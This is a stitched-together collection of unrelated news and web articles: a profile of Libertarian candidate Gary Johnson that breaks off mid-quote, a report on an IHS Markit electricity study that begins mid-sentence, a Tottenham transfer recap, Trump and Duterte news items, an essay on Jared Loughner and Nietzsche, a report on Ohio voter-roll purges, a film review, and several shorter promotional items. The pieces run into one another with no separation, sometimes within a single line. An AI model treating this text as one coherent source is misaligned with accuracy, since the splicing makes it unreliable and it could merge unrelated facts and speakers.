Most of the campaign’s funds, meanwhile, have come from small donors rather than disaffected Wall Street Republicans. As for GOP endorsements, Johnson and Weld have been left with table scraps—retiring Virginia Representative Scott Rigell and assorted state senators. For top #NeverTrump Republicans, Johnson has become the equivalent of a village brothel—many are customers, they know their friends are customers, but nobody wishes to advertise the fact.
I really wish I would’ve been more outspoken regarding gay rights,” he told me. “I really shuffled that one.”
Gary Johnson’s relationship with the right was tenuous from the beginning. Growing up in North Dakota and later New Mexico, he was not inclined to the full basket of views that came with Republican identity. He was always pro-choice and cast his first presidential ballot for George McGovern due to the Vietnam War. But because the primary divide in American politics at the time was still economic, Johnson—swayed as a teenager by a book on libertarian philosophy—felt more at home with the free-market GOP. In 1993, when Johnson—owner of a successful construction company—announced his run for governor of New Mexico, party bigwigs did not immediately embrace him; but they came to see his value when, in a state with 2-to-1 Democratic registration, he managed to win election and reelection by landslide margins. Johnson governed as a fiscal conservative, vetoing some 750 bills. But he fell out of favor with Republicans in 1999, when he became the nation’s highest-ranking elected official to call for legalizing marijuana. The governor’s approval ratings nosedived, and some in his own administration distanced themselves from him. After he left office, Johnson disappeared from the political scene, spending the next several years crossing items off his bucket list (including a climb up Mount Everest in 2003). He resurfaced in 2010 to explore a bid for the 2012 Republican nomination. But his candidacy proved an unmitigated disaster. Insofar as Republican voters were aware of him—the candidate was excluded from most polls and all but one debate—they found his heresies disqualifying. Johnson, for his part, struggled to fit in.
“Did I rub it in Republicans’ faces that I didn’t have the same social agenda?” Johnson told me. “Nooooo. I just did a real soft shuffle. When you listen to speaker after speaker after speaker decry abortion and saving the unborn, do you go out of your way to say, ‘I am not that guy; I think women should be able to choose’? No, I didn’t go out of my way to say that stuff.”
I asked whether he has any regrets.
“I really wish I would’ve been more outspoken regarding gay rights,” he told me. “I really shuffled that one, too.”
I noted he was in good company. “Yes, Obama!” he said. “We were all shuffling.”
When it came to gay rights, Johnson had been troubled by a moment from his lone 2011 Republican debate, when members of the audience booed a gay soldier who asked the candidates about their position on "don’t ask, don’t tell." Johnson wanted to speak up but decided not to for fear of making a scene—a choice he would later feel bad about. A couple months later, Johnson announced that he was dropping his Republican bid to seek the Libertarian nomination.
Five years later, Johnson’s estrangement from his former party has been reinforced by the conservative embrace of Trump, the rare individual who melds views he abhors with personality traits he disdains. When I asked about Trump’s immigration rhetoric in the car on the way to the Cleveland Airport, Johnson’s normally genial personality assumed an aggressive edge. “It’s racist,” said the candidate, still wearing his big Nike sunglasses. “There’s no other way to say it. And it’s completely fabricated. You do know that to call an American-born Hispanic ‘Mexican’ is the n-word? And so he was calling the judge in California ‘Mexican.’ You don’t do that! You just don’t do that. Not unless you are completely ignorant. And I can’t believe no one has told him that.”
Do you think he believes his rhetoric or is just being cynical and trying to exploit voters?
“I think what happened is that he went to New Hampshire—he’s gonna run for president. And the first group he encounters says—which happened to me—‘WHAT are you going to do about the MEXICANS that are coming across the border and siphoning off our welfare system and taking United States jobs?’ I think this actually happened. And he said”—Johnson affected a Southernish accent—“‘Ahhhm gonna FIX it! Ahhhm gonna FIX it! Ahhhm gonna take care of that.’ And then maybe the second group he met with in New Hampshire reaffirmed that. And then when he went to Iowa, he got reaffirmed right off the bat. And he’s figuring that he is plugging into something. Which he is. He’s plugging into 30 percent of Republican voters who believe that. They believe it. I witnessed it. And then he stuck with it. Because he is a guy who Sticks. To. His. Guns.”
Did you have an opinion on Trump before the campaign?
“Just that he was the epitome for me of what wealth is not. Wealth is about freedom. And it’s not about things. And to me, Donald Trump’s wealth was things.”
So sort of like, “I am not that guy.”
“I am not that guy. I don’t want to be like that guy. All the money in the world is not going to get you to the top of Mount Everest.”
***
From the beginning, the Johnson campaign realized its path to relevance depended on the candidate being able to build a strange-bedfellows coalition of independents, libertarians, Trump-wary conservatives and disaffected progressives—a coalition it hoped might be broad enough to eke out a plurality in some states in the event Johnson were to make the debates and do well. If the Libertarian could deny Clinton and Trump 270 electoral votes, the thinking went, the race would go to the Republican-led House of Representatives, where Johnson would suddenly emerge as the only force standing in the way of a President Trump. As part of this guerrilla strategy, the campaign initially targeted 13 states—mostly noncompetitive ones with libertarian leanings—where both Trump and Clinton had generally performed poorly in the primaries. It was a list—Utah, Colorado, Nevada, New Mexico, Wyoming, Idaho, Montana, Alaska, the Dakotas, New Hampshire, Vermont and Maine—that reflected a belief that Johnson’s upside was higher on the right.
But with Clinton having expanded her electoral-college lead over the summer, the campaign recently shuffled its map, dropping all red states but Utah (as well as Vermont) and adding four blue states with large numbers of disgruntled Sanders voters: Iowa, Wisconsin, Oregon and Washington. Longer term, if Johnson ever surges into second in deep-red western states like Utah—where Trump is far ahead but well short of a majority—the campaign hopes to pull a page from game-theory textbooks, beseeching forlorn Democrats not to waste their vote on Clinton but to back Johnson instead in order to deny Trump the electoral votes (it hopes to pull the same trick on hopeless Republicans in New Mexico). The relative importance of left-wing voters to Johnson’s prospects, in other words, has taken on newfound importance.
That Johnson is polling surprisingly well among left-leaning Americans in general and Sanders voters in particular might be primarily a byproduct of generational factors. The most consistent demographic predictor of Johnson support, after all, is age. In the new Quinnipiac poll, Johnson is getting 29 percent of voters under 35—3 points ahead of Trump and two behind Clinton—and 19 percent of those between the ages of 35 and 49 (he pulls only 6 percent and 4 percent, respectively, among voters in the 50-64 and 65+ cohorts). Given that Johnson is running against candidates who are 68 and 70—both of whom fared poorly among young voters in the primaries—none of this should be terribly surprising. Johnson may be 63 himself, but he carries himself as if his personality froze in college. He is the rare politician who can use words like “cred” without sounding inauthentic. He speaks often about the promise of the Internet and describes his vision of the future as “Uber everything.” Most young voters, meanwhile, have not yet developed their parents’ strong ideological attachments and lifelong partisan voting habits and may be more open to supporting a third-party candidate for nonpolitical reasons.
But Johnson’s left-wing support does have an ideological dimension—one that speaks to the nature of American politics in 2016. While Johnson’s left-wing support makes little sense when one looks at his conservative record as governor, it begins to add up when one listens to him. Across an increasingly tribal political landscape, where most voters mentally align themselves with an ideological camp whose members share a basic orientation toward facts—call them the separate realities of MSNBC and Fox News—Johnson’s rhetoric is two parts MSNBC, one part Fox News. Most of the primary fissures of this divide relate to issues involving minorities. Few indicators predict support in the matchup between Clinton and Trump more reliably than one’s position on illegal immigration, police treatment of black Americans and Syrian refugees. On all three questions, Johnson stands squarely on the Clinton-Sanders side of the chasm. (The immigration-friendly rhetoric of Johnson and Weld should be of particular concern to the Democratic nominee; most polls have the two governors—one who ran America’s most Latino state and another who speaks Spanish well—taking more than 1 of every 10 Latino voters). There is also the issue of climate-change science, the denial of which has become a staple of right-wing identity in America and a handy litmus test for politicians. After Johnson came out for a carbon tax a few weeks ago, many conservatives sought to disown him from the tribe. “It’s official,” the |
provides resilience against low-probability but high-impact constraints on power delivery, including extreme weather events like the polar vortex cold weather phenomenon of early 2014 and more recent hurricanes as well as infrastructure failures.
The current diverse set of generating technologies provides US consumers with a reliable, resilient and cost-effective electric supply portfolio, but current policy-driven market distortions are precipitating a move towards a less diverse system with no "meaningful" contribution from coal or nuclear resources, and a smaller contribution from hydroelectric resources.
Some parts of the country could within a decade find themselves with such a portfolio, relying on a tripling of wind, solar and other intermittent renewables from a current 7%, and on natural gas to provide the majority of their generation, the report says. The increase in retail prices resulting from such a portfolio could have macroeconomic impacts including a 0.8% decline of real US gross domestic product, equivalent to $158 billion, as well as job losses and a reduction in household disposable income.
Premature retirement
A lack of harmonisation between policy initiatives and wholesale electricity market operations distorts the wholesale electricity market, the report notes, with further problems caused by an "accumulation of federal state subsidies and mandates for specific technologies." Such mandates on carbon emissions reductions are "often at odds" with their objective, it says. "In particular, nuclear power resources are similarly situated to other non-CO2-emitting resources such as wind, solar, and geothermal in the supply portfolio." However, it says, policies that suppress market-clearing prices cause disproportionate cash flow suppression for the high-utilization generating technologies required to cost-effectively supply stable, constant base-load demand. This results in wholesale price suppression, which "disproportionately harms" nuclear power resources and "causes premature retirement and replacement by a mix of renewable and natural gas resources with a higher CO2 emission profile", it says.
Eliminating policy initiatives that cause significant market distortions would be the most straightforward way to preserve the benefits of a diverse generating portfolio, the report says. "However, implementing such an approach to harmonise policy initiatives and market operations may be politically unfeasible," it acknowledges. An alternative approach could involve regulatory approval and implementation of offsetting market interventions, such as changes to market rules to accurately reflect the cost of electric reliability and resilience in market prices, and payments for cost-effective generation attributes, such as contributions to power system resiliency and environmental attributes. To do this requires appropriate changes in operating and planning rules and standards at the federal and state level, it says.
"It is easy to take the cost-effective diversity of the current US electric supply portfolio for granted," IHS Markit chief power strategist and lead author of the study Lawrence Makovich said. "Ironically, addressing climate change concerns with federal and state policies to subsidise and mandate wind and solar electric generation produced the unintended consequence of distorting wholesale electricity market clearing prices and driving the uneconomic closure of nuclear power plants - a zero-emitting source. The result has been some power system carbon dioxide emissions remaining constant or increasing," he said.
IHS Markit's research was supported by the Edison Electric Institute, the Nuclear Energy Institute (NEI), and the Global Energy Institute at the US Chamber of Commerce.
The IHS Markit study makes many of the same points that appeared in the US Department of Energy's Staff Report to the Secretary on Electricity Markets and Reliability, published in August, the NEI said. That report suggested low-cost abundant natural gas and the growth of renewable energy are accelerating the premature retirement of baseload power plants, particularly coal and nuclear, and putting the reliability of the electricity grid at risk.
NEI Senior Director of Policy Development Matt Crozat commended the IHS Markit study, noting that public policies can create "unintended market distortions" by suppressing the power prices for all of generators. "If plants close, this ultimately results in higher emissions, higher prices and less reliability. New York and Illinois have already acted to prevent such closures and we urge other states and jurisdictions to act before it is too late," he said.
Researched and written
by World Nuclear News
Related topicsAs the transfer window for 2014 closes, we look back on a summer of activity shaping the squad for the new season.
We welcomed Ben Davies and Michel Vorm from Swansea City, Eric Dier arrived from Sporting Lisbon, Federico Fazio joined from Sevilla and Benji Stambouli was our final arrival from Montpellier. A deal was also completed for DeAndre Yedlin to arrive from Seattle Sounders next year.
We said goodbye to Michael Dawson, Sandro, Zeki Fryers, Gylfi Sigurdsson and Heurelho Gomes, who left in order to seek increased playing opportunities, while Jake Livermore joined Hull City after a successful season-long loan and Lewis Holtby has returned to Germany, joining Hamburg on loan for the season. Tom Carroll will pick up further experience in a season-long loan in the Premier League with Swansea City.
We wish them all every success in the next stage of their careers.
In addition, Hugo Lloris, Danny Rose and Harry Kane have all signed new long-term contracts with the Club.
Head Coach Mauricio Pochettino discusses the Club's business we conducted over the summer period.
"I have always felt from the beginning that we did not need to make big changes to this squad," said Mauricio.
"We believe in these players, they are great professionals and I am convinced of the quality we have in all areas.
"We were always certain that we would only make changes if we believed they would benefit us in the long-term.
"It is still early in the season and players are adapting to our style and tactics and I have been delighted with their response.
"We believe we can improve these players to get the best out of them and we are going the right way.
"We were keen to strengthen our defence and I have been pleased with the way we have improved across this area.
"Michel Vorm will provide additional strength to our goalkeepers alongside Hugo Lloris, Brad Friedel and Luke McGee and we look forward to having him back at full fitness soon.
"Ben Davies arrives as a young player with a wealth of experience already in the Premier League and we now have two outstanding, internationals vying for the left-back position. I’m sure they will be motivated to improve each other.
"Eric Dier is a versatile and young player and we feel he has a lot of potential. We have followed him for some time and we think he can develop into a top defender.
"Federico Fazio is an excellent signing for us - a positive influence both on and off the field. He is a big and strong defender and will give us something extra in terms of presence, aggression and will to win.
"Benji Stambouli offers us versatility as well as quality. He knows what it takes to win and will prove a tremendous addition in both defensive midfield and also in defence if needed.
"We can also look forward to DeAndre Yedlin joining us next year. He has shown he can perform at the highest level with his performances at the World Cup and he will strengthen us further in the future.
"We want to deliver exciting, attacking and pressing football and the range of forwards we have are extremely well-equipped to work within this system. We have quality and versatility in these areas so we are confident that they can play anywhere across the front line when called upon.
“We have quality throughout what is a balanced, talented squad."Donald Trump in Las Vegas. AP Photo/John Locher Donald Trump defended the state of his campaign in a Tuesday interview with the "Today" show, hours after a Federal Elections Commission report revealed he had only $1.3 million cash on hand.
The presumptive Republican presidential nominee said he understands money "far better" than Hillary Clinton, who ended May with $42.5 million cash on hand, and he blamed his campaign's anemic fundraising on a lack of support from the Republican Party.
"I understand money better than anybody," Trump told "Today" on Tuesday. "I understand it far better than Hillary, and I'm way up on the economy when it comes to questions on the economy. But we have a party that, I mean, I'm having more difficulty, frankly, with some of the people in the party than I am with the Democrats because they're just, they don't want to come on."
If Republicans don't get on board with his campaign, Trump said, he'll just keep self-financing. Trump has loaned his campaign $46 million since he launched it last year, according to Reuters.
"[Republicans] will probably, eventually come on," Trump said. "Honestly, if they don't, it's just fine. I can win it either way. I mean, I may be better off winning it the opposite way than the more traditional way."
"Today" cohost Savannah Guthrie asked Trump if he could still win the general election if Clinton raised much more than him.
Trump continued to hammer the Republican Party for not helping him enough.
"I've raised a lot of money," Trump responded. "But you also have to have some help from the party. But I've raised a lot of money. We raised $12 million this weekend.... And I'm raising that money for the party."
He then noted that he was able to win enough delegates in the primaries to clinch his party's nomination without raising as much outside money as Clinton.
"If it gets to a point, what I'll do is just do what I did in the primaries," Trump said.
He continued: "I spent $55 million of my own money to win the primaries.... You know, that's a lot of money, by any standard. I may do that again in the general election. I have a lot of cash, and I may do it again in the general election. But it would be nice to have some help from the party. If I don't have great support, I'll go a different route."
Watch the full interview below:Former President Benigno Aquino III said on Sunday that he would refrain from giving comments about the administration of President Rodrigo Duterte for a year—a period which he deemed as a reasonable time for his successor to adjust in his job.
In a Radyo Inquirer report, Aquino reiterated his promise of not giving unsolicited advice to Duterte for the meantime.
ADVERTISEMENT
He said that he understands the hardships of running a country.
The former President added that Duterte might perform better once he gets used to his new job.
Aquino went to the Manila Memorial Park in Paranaque City to commemorate the 33rd death anniversary of his father, Sen. Benigno Aquino II.
Duterte, who beat Aquino’s anointed presidential candidate Manuel “Mar” Roxas II during the May 9 polls by a landslide, has been the President of the Philippines for about 50 days.
Duterte has waged war against criminality and illegal drugs, drawing flak from various sectors as the number of suspected drug deaths steadily increased. He has also issued an order for the implementation of freedom of information in the executive branch and freed communists on bail so they can participate in peace negotiations. AJH/JE/rga
RELATED STORIES
Aquino congratulates Duterte, opens communication lines
Aquino offers help to Duterte during first phone call
ADVERTISEMENT
Read Next
LATEST STORIES
MOST READWhen you’re paying $100-plus for a ticket to see your favorite DJ, you hope to get more than just a guy behind a laptop. Where's the entertainment value in that? Fortunately, DJs and electronic acts are beginning to catch on that their fans need more of a performance to shell out for increasingly high ticket prices. Many are adding live elements to the mix, whether that's in the form of instruments, vocals or epic, interactive light shows and projections.
This year's HARD Summer festival is a prime example. To really get the most out of that ticket, get to the sets with the best can't-see-it-in-the-club setups. Then, raging your face off to your favorite press-players (it's OK; we all have them) is just a bonus.
Here, the five artists for whom you should be fighting your way to the front this weekend at the Pomona Fairplex:See Slate’s complete coverage of the Gabrielle Giffords shooting and the arrest of Jared Lee Loughner.
Friedrich Nietzsche
If we never discovered that Jared Lee Loughner honed his murderous outlook while sitting alone in his bedroom, reading Nietzsche and thinking about nihilism, that would have been real news. Instead of real news, though, we’ve gotten a dreary iteration of a cultural cliché. The New York Times and other media are saying the addled and alienated young man arrested for trying to assassinate Gabrielle Giffords, and for the murders of 9-year-old Christina Taylor Green and five other people, took himself to be a Nietzschean. Of course he did.
I suppose we could start plucking out incendiary quotations from Nietzsche’s works and assess how much blame to lay on his head for Loughner’s alleged crimes and the crimes of other young men with similar philosophical interests, but such a project would tend toward philistinism or obscurity. Better, I think, to leave aside the indictment and treat the nexus of Nietzsche and troubled young manhood as Nietzsche himself would have—that is, anthropologically.
The attraction of Nietzsche to socially maladjusted young men is obvious, but it isn’t exactly simple. It is built from several interlocking pieces. Nietzsche mocks convention and propriety (and mocks difficult writers you’d prefer not to bother with anyway). He’s funny and (deceptively) easy to read, especially compared to his antecedents in German philosophy, who are also his flabby and lumbering targets: Schopenhauer, Hegel, and, especially, Kant. If your social world fails to appreciate your singularity and tells you that you’re a loser, reading Nietzsche can steel you in your secret conviction that, no, I’m a genius, or at least very special, and everyone else is the loser. Like you, Nietzsche was misunderstood in his day, ignored or derided by other scholars. Like you, Nietzsche seems to find everything around him lame, either stodgy and moralistic or sick with democratic vulgarity. Nietzsche seems to believe in aristocracy, which is taboo these days, which might be why no one recognizes you as the higher sort of guy you suspect yourself to be. And crucially, if you’re a horny and poetic young man whose dream girl is ever present before your eyes but just out of reach, Nietzsche frames his project of resistance and overcoming as not just romantic but erotic.
If you’re a thoughtful and unhappy young man, in other words, why wouldn’t you want to read someone who seems to reflect both your alienation and your uncontainable desire back to you as masculine bravery and strength? Indeed, there’s something in every book you’re likely to pick up—some enticement of form or content or both—that addresses your horniness/alienation and flatters you in the pretense that, though you have no formal training and are actually kind of a crappy and distracted reader, you are doing philosophy.
In The Birth of Tragedy, Nietzsche’s first work, it’s the celebration of anarchic and sexually with-it Dionysus over boring Apollo, who’s like the Greek god of algebra or something. In Zarathustra, it’s the beckoning first-person narration, a crazy novel or memoir kind of thing, a heroic story of Zarathustra “going under,” gathering spiritual strength in hermetic solitude that reminds you of your own bedroom, and then “rising” to “shine” upon a people who don’t even understand or deserve him. In The Genealogy of Morals it’s Nietzsche examining the real history of that Bible stuff your lame pastor barks at you in church (which you understand as saying two main things: no sex, no touching yourself) and proving that morality originates not in God but in the will to power—ancient priests seizing power over ancient masters by guilt-tripping them about the suffering of slaves. (Christianity is just “slave morality.” So much for that dilemma.) In Ecce Homo it’s those excellent chapter headings (“Why I Am So Clever,” “Why I Write Such Good Books”). And in Beyond Good and Evil it is, well, the awesome title of the book itself, and that hilarious opening line (“Supposing truth is a woman—what then?”), and that first chapter where he mocks all those philosophers you don’t have to read anymore, now that Nietzsche has told you how lame they are.
And, also in Beyond Good and Evil, it’s the aphorisms—a section entitled “Epigrams and Interludes” comprising over a hundred one- and two-sentence masterworks of moral paradox and counterintuition, calculated outrage and elegant eye-poking. Nietzsche is aphoristic even when he’s being systematic, and when he’s being aphoristic, his writing is simply unmatched in its beauty and mayhem, its uncanny mix of compression and infinite suggestion. And for a young guy who’s intellectually hungry but doesn’t much enjoy reading, finding this section of philosophy-bits in the middle of this famous book is like a homecoming. You don’t even have to know what these epigrams mean to enjoy them. You just feel manly and brave in entertaining them at all, not flinching but laughing when Nietzsche says: “One is best punished for ones virtues.” (You even get to work out some of your girl-troubles by lingering over Nietzsche’s several jabs at women.)
Of course, Nietzsche scholars will tell you not to run too far with these little wisecracks. You need to understand them in the context of his larger body of work, in which he often circles back to themes, again and again, revising and even contradicting his earlier writings. You have to understand the aphorisms as part of a vast poetic project of self-creation or becoming in which nothing is truly settled. Nietzsche himself predicted he would be misread, acquire misguided disciples, and so he has.
Loughner’s favorite book, according to news reports, fits with these troubled-guy tendencies and their associated pitfalls. It’s not Beyond Good and Evil, but rather The Will to Power, the notorious compilation of Nietzsche’s working notes (which Nietzsche’s sister peddled, wrongly, as his great systematic work). The observations are longer-form in The Will to Power, but, like the “Epigrams and Interludes,” they are too-easily separated from Nietzsche’s other work. They have a tidy thematic organization that is largely his sister’s. This scheme is helpful to the scholar who knows his other books. It’s also helpful to the troubled young man obsessed with one thing in particular. In Loughner’s case, this one thing was apparently nihilism, which happens to be the first topic in The Will to Power.
That Loughner was reading Nietzsche on nihilism fits so perfectly into a template for such tragedies that it’s easy to miss the gaping confusion in news stories about the shooting. These stories echo claims by some acquaintances that Loughner was a nihilist, and by others that he was “obsessed with nihilism,” as if these are the same thing. But Loughner didn’t see himself as a nihilist. He saw himself as fighting nihilism. This is evident in his fixation in his YouTube videos on the idea that words have no meaning, or have somehow lost their meaning in a process of nihilistic decline—a fixation that seems to lie at the basis of his tragic grudge against Gabrielle Giffords.
Nietzsche, oddly, has suffered a similar fate. Because of his assault on religion and rationalist metaphysics, and because of the hints of anarchy in his assorted visions of the future (e.g., “the transvaluation of all values”), he’s taken as the West’s über-nihilist. But he saw himself as the scourge of European nihilism, and possibly also its remedy. Nietzsche saw nihilism as a disease, which grows from, in Alexander Nehamas’ words, “the assumption that if some single standard is not good for everyone and all time, then no standard is good for anyone at any time.” It presents itself as mindless hedonism and flaccid spirit, but also as fanaticism.
So does that make Nietzsche and Jared Lee Loughner philosophical brethren after all, joined in the same fanatical fight against nihilism? In a word, no, and Loughner’s pathological fixation on the meaning of words is the giveaway. One way of looking at Nietzsche’s project is that he set out to teach himself and his readers to love the world in its imperfection and multiplicity, for itself. This is behind his assaults on religion, liberal idealism, and utilitarian systems of social organization. He saw these as different ways of effacing or annihilating the world as it is. It is behind his infamous doctrine of the Eternal Recurrence—in which he embraces the “most abysmal thought,” that the given world, and not the idealizing stories we tell of it, is all there is, and he will affirm this reality even if it recurs eternally.
Jared Loughner’s despair that everything is unreal and words have no meaning amounts to hatred of the world (a mania of moralism and narcissism) for its failure to resemble the words we apply to it. Faced with a choice between real people and some stupid abstraction about words, themselves mere abstractions, Loughner killed the people to defend the abstraction. This, then, really is a kind of nihilism, only not the kind that people think Nietzsche was guilty of. It’s the kind of nihilism that Nietzsche was trying to warn us about, and help us overcome.
Thanks to Cris Campbell of the University of Colorado for some key insights and background on Nietzsche and nihilism.
Like Slate on Facebook. Follow us on Twitter.The Trump administration supports Ohio’s policy of kicking people off the voter registration rolls if they go six years without casting a ballot — which has led hundreds of thousands of people to lose their voting eligibility.
A lawsuit over the Ohio law is headed to the Supreme Court. As reported by Mother Jones’s Ari Berman, the Justice Department, in a stark reversal from the Obama administration, filed an amicus brief Monday in support of the state.
The case — featuring Jon Husted, the state’s secretary of state and Republican candidate for governor — hinges on whether the state law violates the 1993 federal National Voter Registration Act (NVRA), known as the Motor Voter Act, which was designed to make voter registration easier and simpler. The law prohibits invalidating voter registrations because people failed to vote.
Under the law, Ohio officials send an address verification letter to the registered address after a person has not voted for two consecutive years. If the person does not respond to the letter, and they also do not vote for four more years, then the person is purged from the rolls. That means they have to register again in order to cast a ballot.
A lower court sided with Ohio and upheld the law. But the Sixth Circuit Court of Appeals reversed that decision last September. The US Supreme Court will hear the case during its upcoming term this fall.
While the Motor Voter Act prohibits the removal of voters from the rolls “by reason of the person’s failure to vote,” acting US Solicitor General Jeffrey Wall argued in the amicus brief that this should be interpreted as meaning removal from the rolls only by reason of failure to vote. Ohio, Wall argued, also tries to verify addresses, so failure to vote isn’t the only reason voters would be kicked off.
But the A. Philip Randolph Institute, an African-American trade union group, the Northeast Ohio Coalition for the Homeless, and Larry Harmon, a man who was purged from the rolls, are the suing the state over the law. They argue that the law says each voter “has the right not to cast a vote — and the mere exercise of that right should not be the basis for removal from the voter rolls.” Ohio law would then, they argue, violate the law by removing someone’s registration with no evidence that they have actually moved addresses. The lawsuit was initially filed on their behalf by the American Civil Liberties Union of Ohio and Demos, a liberal think tank that works on election reform.
This case come as part of the Trump administration’s larger fight against voter fraud, which the president claims, without evidence, is widespread. Fights against voter fraud have often led to policies that simply make it harder for people to vote. And the Supreme Court’s ultimate decision could have long-lasting effects on protections for voters in Ohio and beyond.Making a film about what it feels like to go blind may sound like a contradiction in terms. James Spinney and Peter Middleton’s approach to that challenge in Notes on Blindness, now on Netflix, makes their film distinct and exceptional.
In 1983, after decades of steady deterioration, British writer and theologian John Hull became totally blind. To help him make sense of the upheaval in his life, he began documenting his experiences on audio cassette. He amassed a remarkable archive (and eventual publication) that renowned neurologist Oliver Sacks called “The most precise, deep and beautiful account of blindness I have ever read.”
In James Spinney and Peter Middleton’s debut nonfiction feature film, Notes on Blindness, and their Emmy winning short of the same name which preceded it, actors portray Hull and his family, and their mouths are synched to the voices of the original recordings. Stunning cinematography and textured sound are woven together to illustrate the pain and wonder of Hull’s journey to ‘a world beyond sight’.
To Bridge the Divide
The filmmakers write in their directors’ statement that they were inspired by Hull’s desire to “bridge the divide between blind and sighted experience” and “foster a common humanity.” They also note his emphasis that “blind people differ from one another as much as sighted people do,” and that his was “just one voice.”
Honoring their subject’s intentions, Spinney and Middleton employ a multi-sensory, and uniquely inclusive, filmmaking approach. They artfully convey the personal details of Hull’s point of view, to show sighted audiences what it might feel like to lose the sense of sight, while also creating an experience that is accessible to the blind.
To invite sighted audiences into John’s world, the filmmakers worked with Cinematographer Gerry Floyd to set creative restrictions for the film’s visual approach. One such restriction was that “all characters besides John and Marilyn [his wife] would elude the camera, often framed only in fragments, especially avoiding eyes to suggest the loss of eye contact John mourns in blindness.” Another was to use long lenses and never shoot “establishing shots that might give the audience a privileged understanding of the space. We wanted the camera to be sensitive to tactile details to foreground the new primacy of touch, and often designed scenes based around their potential for sound design.”
Making Blindness Accessible
The filmmakers were also creative in how they made the film accessible for blind audiences. In Screenanarchy Middleton discussed his and Spinney’s desire to go beyond traditionally available audio descriptions that weren’t artfully conceived or integrated. “For us, it’s about establishing a template and proving that it can work and be inexpensive if you build making a film accessible into the sound mix in the first place.” He says “some pretty interesting stuff” is happening with audio description in France and some Scandinavian countries, and he would like to see creative approaches adapted more widely.
The Notes on Blindness team created multiple soundtracks for blind or partially sighted audiences. Two versions use a spoken description of the action (one by audio-describer Louise Fryer and the other by the British actor Stephen Mangan). A third, specially enhanced soundtrack version uses more original narration from John and Marilyn, along with extra sound design and music. A comparison video demos each option.
When they released the film in the UK, the filmmakers partnered with MovieReading, an app that allowed audiences to synch their choice of soundtrack to the film on a smartphone, and also provided subtitles for those with hearing loss. Many cinemas also offered the audio-described version on a headset, or screened the enhanced soundtrack version in addition to the standard version.
Notes on Blindness is on Netflix in the US today, one of a selection of titles currently available with audio description on the service. According to the Accessible Digital Project, Netflix is the first streaming provider to start making some titles available to the blind. The additional soundtrack options described above can be also be accessed by Netflix users, via the free MovieReading app (available in the US iTunes store). The film’s UK web site lists its availability internationally, and the US site can be found here.
More on Notes on Blindness
John Hull passed away on July 28, 2015 at the age of 80, six months before the film made its world premiere at the Sundance Film Festival alongside its award-winning VR companion project, Notes on Blindness: Into Darkness.Alfred Morris will once again be starring in the online fantasy football mockumentary, "Tough Season" which features a fantasy football league, and one owner in particular who develops relationships with the players on his team. In the 2nd season, Brad, last season's winner tries to retain his championship. Alfred Morris is also looking to help win the fantasy championship, and the pizza party that comes with it.
The official press release for the new season:
NFL sponsor Lenovo today launched season two of its popular fantasy football mockumentary Tough Season. The humorous 13-episode series – developed and produced by Lenovo, DigitasLBi and the in-house creative services division of The Onion, Onion Labs – is live and available for viewing by visiting www.Lenovo.com/NFL. Tough Season 2 features seven current and former NFL stars, Andrew Luck, Matt Forte, Alfred Morris, AJ Green, Wes Welker, Mason Crosby and Doug Flutie.
Lenovo’s inaugural Tough Season series garnered 13.5 million total views and won a 2014 CLIO Sports award. Tough Season 2 will see five more episodes than last year, four bonus videos of extended scenes including a music video.
"It’s great to be back for a second Tough Season with Lenovo," said Indianapolis Colts quarterback Andrew Luck. "All of us players really enjoyed shooting the series, and working with the very funny writers at The Onion. Fans still remind me about my fake championship-game locker room speech from last year! I can’t give away what happens this season…but I can tell you that it involves multiple hula skirts and a pretty sweet music video."
The series premise revolves around perennial fantasy football loser Brad Blevins (actor Tim Baltz) using Lenovo’s Yoga 2 Pro and support from NFL stars to secure his first-ever office fantasy title. In season two, how will Brad handle the defense of his crown: will he let success and his Lenovo spokesman contract go to his head? Can he count on his NFL friends to perform up to championship standards?
The videos will be supported by social engagement from the fictional fantasy owner/coach Brad Blevins, through The Onion and Onion Sports (who together have more than 10 million followers), the players who appear on the series – and three real-life teams, the Colts, Bears and Redskins.
If you missed Season 1, here is the full playlist including some great scenes with Alfred Morris:
The new season premiered today, and there will be a new episode every Friday for the next 12 weeks. Here is the first episode:
And today also marked the world premiere of the music video for the hit song, "Cheeseburger in a Coconut" featuring Alfred Morris, Matt Forte, Andrew Luck, Wes Welker, and other NFL players.
Highlights:
Alfred having a good laugh:
Alfred riding some waves:
Alfred riding a Great White shark:
Alfred vs Andrew Luck: Danceoff!:
Alfred and Andrew Luck buried in the sand:
Alfred riding a surf board on magma:
Alfred being Alfred:The hero, Michael, possesses an enchanted bird’s nest that makes the owner invisible, allowing him to observe actions and misdeeds that are hidden from others. Michael first lashes out in anger at miscreants then, motivated by a sense of justice, attempts to reward good and punish evil deeds –- all the while accidentally and thoughtlessly doing harm to others. Eventually, he realizes that there is a difference between man’s justice and God’s; only God can pass judgment. Michael casts away the bird’s nest and submits to God’s will.At the end of Bird’s Nest I, the miraculous bird’s nest that Michael has torn into seventeen-hundred pieces is gathered by an army of industrious ants and reconstituted by a sorcerer.The Wondrous Bird’s Nest is the fourth of the five novels by Hans Jacob Christoffel von Grimmelshausen which constitute the so-called Simplician cycle. The longest and most famous novel of the cycle, Simplicissimus, has long been acclaimed as the first great German novel, and several English translations of it are available. The renderings of the next two volumes, The Runagate Courage and Heedless Hopalong translated and annotated by Robert L. Hiller and John C. Osborne, introduced them them to the English-speaking public. The Wondrous Bird’s Nest is a complete and fully annotated version of Das wunderbarliche Vogelnest. With the translation of the remaining novel, The Wondrous Bird’s Nest, Part II, the entire Simplician cycle, one of the most significant and delightful groups of prose fiction works in world literature, is now available in English translation.Made available via Newfound Press, a digital imprint of the University of Tennessee LibrariesREGINA – It appears Saskatchewan voters are split on who they would support if the federal election was held today.
A new Insightrix Research poll shows 39 per cent of decided voters would cast a ballot for the Conservatives, with the NDP only slightly behind at 35 per cent.
The Liberals trail at 21 per cent, with the Green Party being supported by five per cent of decided voters.
Heading into the October 19 election, the Conservatives hold all but one of Saskatchewan’s 14 seats in the House of Commons – longtime Wascana MP Ralph Goodale is the lone Liberal.
The results broken down by city show Saskatoon voters are more likely to support the NDP, while the Liberals have a slight edge over the Conservatives in Regina.
93 per cent of respondents say they intend to cast a ballot in the federal election, with just 10 per cent of them saying they’re unsure of which party they’ll vote for.
